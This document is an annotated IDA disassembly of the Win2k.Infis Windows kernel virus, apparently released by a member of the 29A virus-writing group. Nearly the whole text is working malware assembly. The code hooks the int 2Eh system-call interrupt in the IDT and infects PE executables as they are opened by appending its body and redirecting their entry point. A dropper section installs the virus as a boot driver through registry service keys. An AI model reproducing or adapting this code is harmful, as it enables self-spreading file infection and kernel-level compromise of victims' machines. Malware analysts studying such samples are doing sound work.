.text:00011000 ; Win2k.Infis - Reverse engineered by Ratter/29A .text:00011000 ; - found one serious bug: the new int 2eh handler is not .text:00011000 ; serialized so under some circumstances the return_to_victim jmp offset .text:00011000 ; might get overwritten with values from different files we're infecting .text:00011000 ; here's prolly the corruption avers were talking about .text:00011000 ; - first, there was a NT version which differs from this .text:00011000 ; one only in syscalls numbers .text:00011000 ; - but this virus is nice, it reminds me more old kewl DOS .text:00011000 ; pieces, you can see on it where the origin is. .text:00011000 ; DOS forever! :-) .text:00011000 ; thx very much to the anonymous (you know who you are) for the binary! .text:00011000 ; File Name : C:\!_infis\win2k_infis\infis.sys .text:00011000 ; Format : Portable executable for IBM PC (PE) .text:00011000 ; Section 1. (virtual address 00001000) .text:00011000 ; Virtual size : 00000828 ( 2088.) .text:00011000 ; Section size in file : 00000A00 ( 2560.) .text:00011000 ; Offset to raw data for section: 00000400 .text:00011000 ; Flags 60000020: Text Executable Readable .text:00011000 ; Alignment : 16 bytes ? .text:00011000 .text:00011000 .text:00011000 unicode macro page,string,zero .text:00011000 irpc c, .text:00011000 db '&c', page .text:00011000 endm .text:00011000 ifnb .text:00011000 dw zero .text:00011000 endif .text:00011000 endm .text:00011000 .text:00011000 model flat .text:00011000 .text:00011000 ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ .text:00011000 .text:00011000 ; Segment type: Pure code .text:00011000 ; Segment permissions: Read/Execute .text:00011000 _text segment para public 'CODE' use32 .text:00011000 assume cs:_text .text:00011000 ;org 11000h .text:00011000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing .text:00011000 .text:00011000 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ .text:00011000 .text:00011000 .text:00011000 public start .text:00011000 start proc near .text:00011000 .text:00011000 driver_object = dword ptr 4 .text:00011000 .text:00011000 mov eax, [esp+driver_object] ; get driver object ptr .text:00011004 lea edx, driver_unload .text:0001100A mov [eax+34h], edx ; store driver_unload routine .text:0001100D lea edx, object_attribz .text:00011013 lea eax, f_name_unicode .text:00011019 mov [edx+8], eax ; store pointer to file name .text:0001101C mov dword ptr [eax+4], offset aSystemrootSyst ; "\\SystemRoot\\system32\\drivers\\inf.sys" .text:00011023 push 1200h ; NumberOfBytes .text:00011028 push 0 ; PoolType .text:0001102D call ExAllocatePool ; allocate 4608 bytes from paged pool .text:00011032 or eax, eax .text:00011034 jnz short loc_1103E .text:00011036 mov eax, 0C0000001h ; quit if error .text:0001103B retn 8 .text:0001103E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:0001103E .text:0001103E loc_1103E: ; CODE XREF: start+34j .text:0001103E mov ds:body_buffer_start, eax .text:00011043 push 40h ; FILE_NON_DIRECTORY_FILE .text:00011048 push 0 .text:0001104D lea edx, io_status_block .text:00011053 push edx .text:00011054 lea edx, object_attribz .text:0001105A push edx .text:0001105B push 80000000h ; we want GENERIC_READ .text:00011060 lea edx, returned_handle .text:00011066 push edx .text:00011067 lea edx, [esp+0] ; edx points to params on the stack .text:0001106A mov eax, 64h .text:0001106F int 2Eh ; call NtOpenFile .text:00011071 add esp, 18h ; adjust the stack .text:00011074 or eax, eax ; error status_success? .text:00011076 jnz end_with_error .text:0001107C push 0 .text:00011081 lea edx, bytes_offset .text:00011087 push edx .text:00011088 push 1200h ; store length .text:0001108D push ds:body_buffer_start ; where .text:00011093 lea edx, io_status_block .text:00011099 push edx .text:0001109A push 0 .text:0001109F push 0 .text:000110A4 push 0 .text:000110A9 push ds:returned_handle .text:000110AF lea edx, [esp+0] .text:000110B2 mov eax, 0A1h .text:000110B7 int 2Eh ; call NtReadFile .text:000110B9 add esp, 24h .text:000110BC or eax, eax ; any error? .text:000110BE jnz short end_with_error .text:000110C0 push ds:returned_handle .text:000110C6 lea edx, [esp+0] ; now we'll close the handle .text:000110C9 mov eax, 18h .text:000110CE int 2Eh ; call NtClose .text:000110D0 add esp, 4 .text:000110D3 or eax, eax ; if error, end .text:000110D5 jnz short end_with_error .text:000110D7 cli ; now we'll modify IDT so cli .text:000110D8 lea eax, idtr_content .text:000110DE sidt qword ptr [eax] ; store idt addr .text:000110E1 mov eax, [eax+2] ; get the idt base addr .text:000110E4 lea edx, [eax+170h] ; move to int 2eh descriptor .text:000110EA mov eax, [edx+4] ; gimme high 16 bits of addr .text:000110ED mov ax, [edx] ; and now low 16 bits .text:000110F0 lea ecx, return_to_old_int_2eh+1 .text:000110F6 mov [ecx], eax ; store the pointer so we'll be able to get back .text:000110F8 lea ecx, [edx+5A0h] ; adjust to 0e2h descriptor .text:000110FE mov [ecx], ax .text:00011101 shr eax, 10h ; and store the int 2eh entry addr .text:00011104 mov [ecx+6], ax .text:00011108 lea eax, new_int_2eh .text:0001110E mov [edx], ax .text:00011111 shr eax, 10h ; and finally modify the int 2eh descriptor .text:00011111 ; to point to our code .text:00011114 mov [edx+6], ax .text:00011118 sti ; enable ints again .text:00011119 xor eax, eax ; and end .text:0001111B retn 8 .text:0001111E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:0001111E .text:0001111E end_with_error: ; CODE XREF: start+76j .text:0001111E ; start+BEj ... .text:0001111E retn 8 .text:0001111E start endp ; sp = -8 .text:0001111E .text:0001111E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:00011121 idtr_content dd 2 dup(0) ; DATA XREF: start+D8o .text:00011121 ; .text:0001112Ao .text:00011129 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:00011129 .text:00011129 driver_unload: ; DATA XREF: start+4o .text:00011129 cli .text:0001112A lea eax, idtr_content .text:00011130 mov eax, [eax+2] .text:00011133 lea edx, [eax+170h] ; restore the old int 2eh .text:00011139 lea eax, return_to_old_int_2eh+1 .text:0001113F mov eax, [eax] .text:00011141 mov [edx], ax .text:00011144 shr eax, 10h .text:00011147 mov [edx+6], ax .text:0001114B sti .text:0001114C push ds:body_buffer_start .text:00011152 call ExFreePool ; free the body buffer .text:00011157 retn 4 .text:0001115A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:0001115A .text:0001115A new_int_2eh: ; DATA XREF: start+108o .text:0001115A cmp eax, 64h ; the function is NtOpenFile? .text:0001115D jnz return_to_old_int_2eh .text:00011163 pusha ; store the registers onto the stack .text:00011164 push fs ; in edx there is a pointer to params .text:00011166 mov eax, [edx+8] ; gimme object_attributes ptr .text:00011169 mov eax, [eax+8] ; gimme object name pointer .text:0001116C xor edx, edx .text:0001116E mov dx, [eax] ; size of the name in the unicode string .text:00011171 mov eax, [eax+4] ; now the real name pointer .text:00011174 lea eax, [edx+eax-8] ; we need to check the suffix .text:00011174 ; so get to the end of the string .text:00011178 cmp dword ptr [eax], 65002Eh ; ".e"? .text:0001117E jnz int_2eh_end .text:00011184 cmp dword ptr [eax+4], 650078h ; "xe"? .text:0001118B jnz int_2eh_end .text:00011191 cmp dword ptr [eax-6], 6D0063h ; "cm"? .text:00011198 jz int_2eh_end ; if it is cmd.exe end .text:0001119E cmp dword ptr [eax-2], 2E0064h ; "d."? .text:000111A5 jz int_2eh_end .text:000111AB sub eax, edx .text:000111AD add eax, 8 ; count the size in words .text:000111B0 mov ecx, edx .text:000111B2 shr ecx, 1 .text:000111B4 .text:000111B4 loc_111B4: ; CODE XREF: .text:000111B8j .text:000111B4 push small word ptr [eax+ecx*2] .text:000111B8 loop loc_111B4 ; now we'll push the whole string .text:000111B8 ; onto the stack .text:000111BA push small word ptr [eax] ; and final null too .text:000111BD mov ecx, edx .text:000111BF lea edx, [esp] .text:000111C2 lea eax, f_name_unicode .text:000111C8 mov [eax], cx ; set up the UNICODE structure .text:000111CB mov [eax+2], cx .text:000111CF mov [eax+4], edx .text:000111D2 mov ebx, ecx .text:000111D4 push 40h ; FILE_NON_DIRECTORY_FILE .text:000111D9 push 0 .text:000111DE lea edx, io_status_block .text:000111E4 push edx .text:000111E5 lea edx, object_attribz .text:000111EB push edx .text:000111EC push 0C0000000h ; GENERIC_READ | GENERIC_WRITE .text:000111F1 lea edx, returned_handle .text:000111F7 push edx .text:000111F8 lea edx, [esp] .text:000111FB mov eax, 64h .text:00011200 int 0E2h ; call NtOpenFile .text:00011202 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:00011202 add esp, 18h .text:00011205 add esp, ebx ; get rid of the string on the stack .text:00011207 add esp, 2 .text:0001120A or eax, eax .text:0001120C jnz int_2eh_end ; status_success? .text:00011212 mov edx, 3Ch ; read the new exe header start .text:00011217 call read_dword_from_file .text:0001121C or eax, eax .text:0001121E jnz loc_11391 .text:00011224 mov ebx, edx ; read header mark .text:00011226 call read_dword_from_file .text:0001122B cmp edx, 4550h ; "PE"? .text:00011231 jnz loc_11391 .text:00011237 lea edx, [ebx+8] ; gimme timedatestamp .text:0001123A call read_dword_from_file .text:0001123F cmp edx, 0FFFFFFFFh ; file is already infected? .text:00011242 jz loc_11391 .text:00011248 lea edx, [ebx+5Ch] ; gimme subsystem .text:0001124B call read_dword_from_file .text:00011250 cmp dx, 2 ; if it's driver or unknown, end .text:00011254 jb loc_11391 .text:0001125A lea edx, [ebx+14h] ; gimme sizeofoptionalheader .text:0001125D call read_dword_from_file .text:00011262 cmp dx, 0E0h ; does it match our size? .text:00011267 jnz loc_11391 .text:0001126D lea edx, [ebx+34h] ; gimme imagebase .text:00011270 call read_dword_from_file .text:00011275 cmp edx, 400000h ; does it fit? .text:0001127B jnz loc_11391 .text:00011281 mov esi, edx ; esi now holds the imagebase .text:00011283 lea edx, [ebx+28h] ; gimme the entrypoint addr .text:00011286 call read_dword_from_file .text:0001128B add esi, edx ; adjust imagebase .text:0001128D mov edx, 0C16h ; we'll store it to return_to_victim .text:0001128D ; so the far jmp will jump right :-) .text:00011292 add edx, ds:body_buffer_start ; add the body buffer .text:00011298 mov [edx], esi ; store it to our prepared body to inject .text:0001129A lea edx, [ebx+50h] ; gimme sizeof image .text:0001129D call read_dword_from_file .text:000112A2 add edx, 1200h ; add our size .text:000112A8 mov eax, edx .text:000112AA lea edx, [ebx+50h] ; and write it back .text:000112AD call write_dword_to_file .text:000112B2 or eax, eax .text:000112B4 jnz loc_11391 ; error? .text:000112BA lea edx, [ebx+8] ; set our timedatestamp to -1 .text:000112BA ; it's a infection mark .text:000112BD mov eax, 0FFFFFFFFh .text:000112C2 call write_dword_to_file .text:000112C7 lea edx, [ebx+6] ; gimme number of sections .text:000112CA call read_dword_from_file .text:000112CF and edx, 0FFFFh .text:000112D5 dec edx ; we'll count the last section header start .text:000112D6 mov eax, edx .text:000112D8 shl edx, 3 ; imul with the section header size (28h, .text:000112D8 ; *32 (shl 5) + *8 (shl 3)) .text:000112DB shl eax, 5 .text:000112DE add eax, edx .text:000112E0 lea edi, [eax+ebx+0F8h] ; now add it all together (section headers start, .text:000112E0 ; last section displacement etc) .text:000112E7 mov esi, 849h ; gimme the offset of PE exe entrypoint .text:000112E7 ; (see later) .text:000112EC lea edx, [edi+0Ch] ; gimme last section's virtual address .text:000112EF call read_dword_from_file .text:000112F4 add esi, edx ; add it .text:000112F6 lea edx, [edi+10h] ; gimme sizeof rawdata .text:000112F9 call read_dword_from_file .text:000112FE lea eax, [edx+esi] ; eax now holds RVA of our entrypoint in last .text:000112FE ; section .text:00011301 lea esi, [edx+1200h] ; add our size to rawdata .text:00011307 lea edx, [ebx+28h] ; set the new image entrypoint to us .text:0001130A call write_dword_to_file .text:0001130F mov eax, esi .text:00011311 lea edx, [edi+10h] ; write new sizeof rawdata .text:00011314 call write_dword_to_file .text:00011319 lea edx, [edi+8] ; read virtualsize .text:0001131C call read_dword_from_file .text:00011321 lea eax, [edx+1200h] ; add our size .text:00011327 lea edx, [edi+8] ; and write it finally .text:0001132A call write_dword_to_file .text:0001132F mov eax, 0E0000020h ; set new section's flags .text:0001132F ; (execute, read, write, contains code) .text:00011334 lea edx, [edi+24h] ; write them .text:00011337 call write_dword_to_file .text:0001133C lea edx, [edi+14h] ; gimme pointer to rawdata inside the file .text:0001133F call read_dword_from_file .text:00011344 lea edx, [esi+edx-1200h] ; count the offset .text:0001134B push 0 .text:00011350 mov ds:bytes_offset, edx .text:00011356 lea edx, bytes_offset .text:0001135C push edx .text:0001135D push 1200h .text:00011362 push ds:body_buffer_start .text:00011368 lea edx, io_status_block .text:0001136E push edx .text:0001136F push 0 .text:00011374 push 0 .text:00011379 push 0 .text:0001137E push ds:returned_handle .text:00011384 lea edx, [esp] .text:00011387 mov eax, 0EDh .text:0001138C int 0E2h ; and finally call NtWriteFile .text:0001138C ; to write our body into the victim .text:0001138E add esp, 24h .text:00011391 .text:00011391 loc_11391: ; CODE XREF: .text:0001121Ej .text:00011391 ; .text:00011231j ... .text:00011391 push ds:returned_handle .text:00011397 lea edx, [esp] ; close the handle .text:0001139A mov eax, 18h .text:0001139F int 0E2h ; call NtClose .text:000113A1 add esp, 4 .text:000113A4 .text:000113A4 int_2eh_end: ; CODE XREF: .text:0001117Ej .text:000113A4 ; .text:0001118Bj ... .text:000113A4 pop fs ; restore registers .text:000113A6 popa .text:000113A7 .text:000113A7 return_to_old_int_2eh: ; CODE XREF: .text:0001115Dj .text:000113A7 ; DATA XREF: start+F0o ... .text:000113A7 ; 08h is standard dpl0 flat code descriptor .text:000113A7 jmp far ptr 8:0 ; and jump to original handler .text:000113AE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:000113AE .text:000113AE read_dword_from_file: ; CODE XREF: .text:00011217p .text:000113AE ; .text:00011226p ... .text:000113AE push 0 .text:000113B3 mov ds:bytes_offset, edx ; store the file offset to start from .text:000113B9 lea edx, bytes_offset .text:000113BF push edx .text:000113C0 push 4 .text:000113C5 lea edx, buffer_dword_type .text:000113CB push edx .text:000113CC lea edx, io_status_block .text:000113D2 push edx .text:000113D3 push 0 .text:000113D8 push 0 .text:000113DD push 0 .text:000113E2 push ds:returned_handle .text:000113E8 lea edx, [esp] .text:000113EB mov eax, 0A1h .text:000113F0 int 0E2h ; call NtReadFile .text:000113F2 add esp, 24h .text:000113F5 mov edx, ds:buffer_dword_type ; gimme the read dword .text:000113FB retn .text:000113FC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:000113FC .text:000113FC write_dword_to_file: ; CODE XREF: .text:000112ADp .text:000113FC ; .text:000112C2p ... .text:000113FC push 0 .text:00011401 mov ds:bytes_offset, edx ; store from where to write .text:00011407 mov ds:buffer_dword_type, eax ; store which value .text:0001140C lea edx, bytes_offset .text:00011412 push edx .text:00011413 push 4 .text:00011418 lea edx, buffer_dword_type .text:0001141E push edx .text:0001141F lea edx, io_status_block .text:00011425 push edx .text:00011426 push 0 .text:0001142B push 0 .text:00011430 push 0 .text:00011435 push ds:returned_handle .text:0001143B lea edx, [esp] .text:0001143E mov eax, 0EDh .text:00011443 int 0E2h ; call NtWriteFile .text:00011445 add esp, 24h .text:00011448 retn .text:00011449 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:00011449 this is the entrypoint in the normal PE exe file a .text:00011449 dropper of the driver .text:00011449 pusha .text:0001144A call next .text:0001144F next: .text:0001144F pop ebx ; get the base we're running .text:00011450 mov eax, object_attribz_ - next .text:00011455 lea eax, [ebx+eax+8] .text:00011459 add [eax], ebx ; adjust the base wherever it's needed .text:0001145B mov eax, registry_unicode_string - next .text:00011460 lea eax, [ebx+eax+4] .text:00011464 add [eax], ebx .text:00011466 mov eax, atype_unicode_string - next .text:0001146B lea eax, [ebx+eax+4] .text:0001146F add [eax], ebx .text:00011471 mov eax, astart_unicode_string - next .text:00011476 lea eax, [ebx+eax+4] .text:0001147A add [eax], ebx .text:0001147C mov eax, aerror_control_unicode_string - next .text:00011481 lea eax, [ebx+eax+4] .text:00011485 add [eax], ebx .text:00011487 mov eax, object_attribz - next .text:0001148C lea eax, [ebx+eax+8] .text:00011490 add [eax], ebx .text:00011492 mov eax, f_name_unicode - next .text:00011497 lea eax, [ebx+eax+4] .text:0001149B add [eax], ebx .text:0001149D xor eax, eax .text:0001149F push eax .text:000114A0 push eax .text:000114A1 push eax .text:000114A2 push eax .text:000114A3 mov edx, object_attribz_ - next .text:000114A8 add edx, ebx .text:000114AA push edx .text:000114AB push 6 ; KEY_CREATE_SUB_KEY | KEY_SET_VALUE .text:000114B0 mov edx, key_handle - next .text:000114B5 add edx, ebx ; ok, create the key .text:000114B7 push edx .text:000114B8 mov eax, 23h .text:000114BD lea edx, [esp] .text:000114C0 int 2Eh ; call NtCreateKey .text:000114C2 add esp, 1Ch .text:000114C5 or eax, eax .text:000114C7 jnz return_to_victim ; error? .text:000114CD push 4 ; we're storing DWORD .text:000114D2 mov edx, buffer_dword_type - next .text:000114D7 add edx, ebx .text:000114D9 push edx .text:000114DA push 4 ; REG_DWORD .text:000114DF push 0 .text:000114E4 mov edx, atype_unicode_string - next .text:000114E9 add edx, ebx .text:000114EB push edx .text:000114EC mov eax, key_handle - next .text:000114F1 add eax, ebx .text:000114F3 push dword ptr [eax] ; set the tye .text:000114F5 mov eax, 0D7h .text:000114FA lea edx, [esp] .text:000114FD int 2Eh ; call NtSetValueKey .text:000114FF add esp, 18h .text:00011502 or eax, eax .text:00011504 jnz return_to_victim ; error? .text:0001150A push 4 .text:0001150F mov edx, body_buffer_start - next .text:00011514 add edx, ebx .text:00011516 push edx .text:00011517 push 4 ; REG_DWORD .text:0001151C push 0 .text:00011521 mov edx, astart_unicode_string - next .text:00011526 add edx, ebx .text:00011528 push edx ; the same with start value .text:00011529 mov eax, key_handle - next .text:0001152E add eax, ebx .text:00011530 push dword ptr [eax] .text:00011532 mov eax, 0D7h .text:00011537 lea edx, [esp] .text:0001153A int 2Eh ; call NtSetValueKey .text:0001153C add esp, 18h .text:0001153F or eax, eax .text:00011541 jnz return_to_victim .text:00011547 push 4 .text:0001154C mov edx, buffer_dword_type - next .text:00011551 add edx, ebx .text:00011553 push edx .text:00011554 push 4 ; REG_DWORD .text:00011559 push 0 .text:0001155E mov edx, aerror_control_unicode_string - next .text:00011563 add edx, ebx .text:00011565 push edx .text:00011566 mov eax, key_handle - next .text:0001156B add eax, ebx .text:0001156D push dword ptr [eax] .text:0001156F mov eax, 0D7h ; and finally error_control .text:00011574 lea edx, [esp] .text:00011577 int 2Eh ; call NtSetValueKey .text:00011579 add esp, 18h .text:0001157C or eax, eax .text:0001157E jnz return_to_victim .text:00011584 push 0 .text:00011589 push 0 .text:0001158E push 40h ; FILE_NON_DIRECTORY_FILE .text:00011593 push 0 .text:00011598 push 0 .text:0001159D push 80h ; FILE_ATTRIBUTE_NORMAL .text:000115A2 push 0 .text:000115A7 mov edx, io_status_block - next .text:000115AC add edx, ebx .text:000115AE push edx .text:000115AF mov edx, object_attribz - next .text:000115B4 add edx, ebx .text:000115B6 push edx .text:000115B7 push 0C0000000h ; GENERIC_READ | GENERIC_WRITE .text:000115BC mov edx, returned_handle - next .text:000115C1 add edx, ebx .text:000115C3 push edx ; create the inf.sys file .text:000115C4 lea edx, [esp] ; in system dir .text:000115C7 mov eax, 20h .text:000115CC int 2Eh ; call NtCreateFile .text:000115CE add esp, 2Ch .text:000115D1 or eax, eax .text:000115D3 jnz return_to_victim ; error? .text:000115D9 push 0 .text:000115DE mov edx, bytes_offset - next .text:000115E3 add edx, ebx .text:000115E5 push edx .text:000115E6 push 1200h ; the size is 4608 bytes .text:000115EB mov edx, start - next ; count the offset .text:000115F0 lea edx, [ebx+edx-400h] ; add headers .text:000115F7 push edx .text:000115F8 mov edx, io_status_block - next .text:000115FD add edx, ebx .text:000115FF push edx .text:00011600 push 0 .text:00011605 push 0 .text:0001160A push 0 .text:0001160F mov eax, returned_handle - next .text:00011614 add eax, ebx .text:00011616 push dword ptr [eax] .text:00011618 call repair_offsets_before_write_to_victim .text:0001161D lea edx, [esp] .text:00011620 mov eax, return_to_victim_jmp - next .text:00011625 add eax, ebx .text:00011627 mov esi, eax ; null the victim jmp .text:00011629 mov edi, [eax] .text:0001162B mov dword ptr [eax], 0 .text:00011631 mov eax, 0EDh ; and write the driver! .text:00011636 int 2Eh ; call NtWriteFile .text:00011638 add esp, 24h .text:0001163B mov [esi], edi ; restore the victim jmp .text:0001163D jmp return_to_victim ; end .text:00011642 .text:00011642 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ .text:00011642 .text:00011642 .text:00011642 repair_offsets_before_write_to_victim proc near ; CODE XREF: .text:00011618p .text:00011642 mov eax, object_attribz_ - next .text:00011647 lea eax, [ebx+eax+8] ; repair the value .text:0001164B sub [eax], ebx .text:0001164D mov eax, registry_unicode_string - nexth .text:00011652 lea eax, [ebx+eax+4] .text:00011656 sub [eax], ebx ; repair the value .text:00011658 mov eax, atype_unicode_string - next .text:0001165D lea eax, [ebx+eax+4] .text:00011661 sub [eax], ebx ; repair the value .text:00011663 mov eax, astart_unicode_string - next .text:00011668 lea eax, [ebx+eax+4] .text:0001166C sub [eax], ebx ; repair the value .text:0001166E mov eax, aerror_control_unicode_string - next .text:00011673 lea eax, [ebx+eax+4] .text:00011677 sub [eax], ebx ; repair the value .text:00011679 mov eax, object_attribz - next .text:0001167E lea eax, [ebx+eax+8] .text:00011682 sub [eax], ebx ; repair the value .text:00011684 mov eax, f_name_unicode - next .text:00011689 lea eax, [ebx+eax+4] .text:0001168D sub [eax], ebx ; repair the value .text:0001168F xor edx, edx .text:00011691 mov eax, key_handle - next .text:00011696 add eax, ebx .text:00011698 mov [eax], edx ; null .text:0001169A mov eax, returned_handle - next .text:0001169F add eax, ebx .text:000116A1 mov [eax], edx ; null .text:000116A3 mov eax, io_status_block - next .text:000116A8 add eax, ebx ; null .text:000116AA mov [eax], edx .text:000116AC mov [eax+4], edx .text:000116AF retn .text:000116AF repair_offsets_before_write_to_victim endp .text:000116AF .text:000116AF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:000116B0 key_handle dd 0 .text:000116B4 object_attribz_ dw 18h .text:000116B6 db 6 dup(0) .text:000116BC dd registry_unicode_string - next .text:000116C0 db 40h ; @ .text:000116C1 db 0Bh dup(0) .text:000116CC registry_unicode_string dw 6Eh .text:000116CE dw 6Eh .text:000116D0 dd aRegistryMachin - next .text:000116D4 aRegistryMachin: .text:000116D4 unicode 0, <\Registry\Machine\System\CurrentControlSet\S> .text:000116D4 unicode 0, ,0 .text:00011744 atype_unicode_string dw 8 .text:00011746 dw 8 .text:00011748 dd aType - next .text:0001174C aType: .text:0001174C unicode 0, ,0 .text:00011756 astart_unicode_string dw 0Ah .text:00011758 dw 0Ah .text:0001175A dd aStart - next .text:0001175E aStart: .text:0001175E unicode 0, ,0 .text:0001176A aerror_control_unicode_string dw 18h .text:0001176C dw 18h .text:0001176E dd aErrorcontrol - next .text:00011772 aErrorcontrol: .text:00011772 unicode 0, ,0 .text:0001178C buffer_dword_type dd 1 ; DATA XREF: .text:000113C5o .text:0001178C ; .text:000113F5r ... .text:00011790 body_buffer_start dd 2 ; DATA XREF: start+3Ew .text:00011790 ; start+8Dr ... .text:00011794 returned_handle dd 0 ; DATA XREF: start+60o .text:00011794 ; start+A9r ... .text:00011798 io_status_block dd 2 dup(0) ; DATA XREF: start+4Do .text:00011798 ; start+93o ... .text:000117A0 object_attribz dd 18h ; DATA XREF: start+Do .text:000117A0 ; start+54o ... .text:000117A4 dd 0 .text:000117A8 dd f_name_unicode - next .text:000117AC dd 40h ; OBJ_CASE_INSENSITIVE .text:000117B0 dd 0 .text:000117B4 dd 0 .text:000117B8 f_name_unicode dw 48h ; DATA XREF: start+13o .text:000117B8 ; .text:000111C2o .text:000117BA dw 48h .text:000117BC dd aSystemrootSyst - next .text:000117C0 aSystemrootSyst: ; DATA XREF: start+1Co .text:000117C0 unicode 0, <\SystemRoot\system32\drivers\inf.sys>,0 .text:0001180A align 4 .text:0001180C bytes_offset dd 0 ; DATA XREF: start+81o .text:0001180C ; .text:00011350w ... .text:00011810 dd 0 .text:00011814 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:00011814 .text:00011814 return_to_victim: ; CODE XREF: .text:000114C7j .text:00011814 ; .text:00011504j ... .text:00011814 popa ; 1bh is standard dpl3 flat code descriptor .text:00011815 return_to_victim_jmp: .text:00011815 jmp far ptr 1Bh:0 .text:0001181C .text:0001181C ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ .text:0001181C .text:0001181C ; Attributes: thunk .text:0001181C .text:0001181C ; PVOID __stdcall ExAllocatePool(POOL_TYPE PoolType,SIZE_T NumberOfBytes) .text:0001181C ExAllocatePool proc near ; CODE XREF: start+2Dp .text:0001181C jmp ds:__imp_ExAllocatePool .text:0001181C ExAllocatePool endp .text:0001181C .text:00011822 .text:00011822 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ .text:00011822 .text:00011822 ; Attributes: thunk .text:00011822 .text:00011822 ; void __stdcall ExFreePool(PVOID P) .text:00011822 ExFreePool proc near ; CODE XREF: .text:00011152p .text:00011822 jmp ds:__imp_ExFreePool .text:00011822 ExFreePool endp .text:00011822 .text:00011822 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:00011828 align 200h .text:00011828 _text ends .text:00011828 .idata:00012000 ; Section 2. (virtual address 00002000) .idata:00012000 ; Virtual size : 0000006E ( 110.) .idata:00012000 ; Section size in file : 00000200 ( 512.) .idata:00012000 ; Offset to raw data for section: 00000E00 .idata:00012000 ; Flags 40000040: Data Readable .idata:00012000 ; Alignment : 16 bytes ? .idata:00012000 ; .idata:00012000 ; Imports from ntoskrnl .idata:00012000 ; .idata:00012000 ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ .idata:00012000 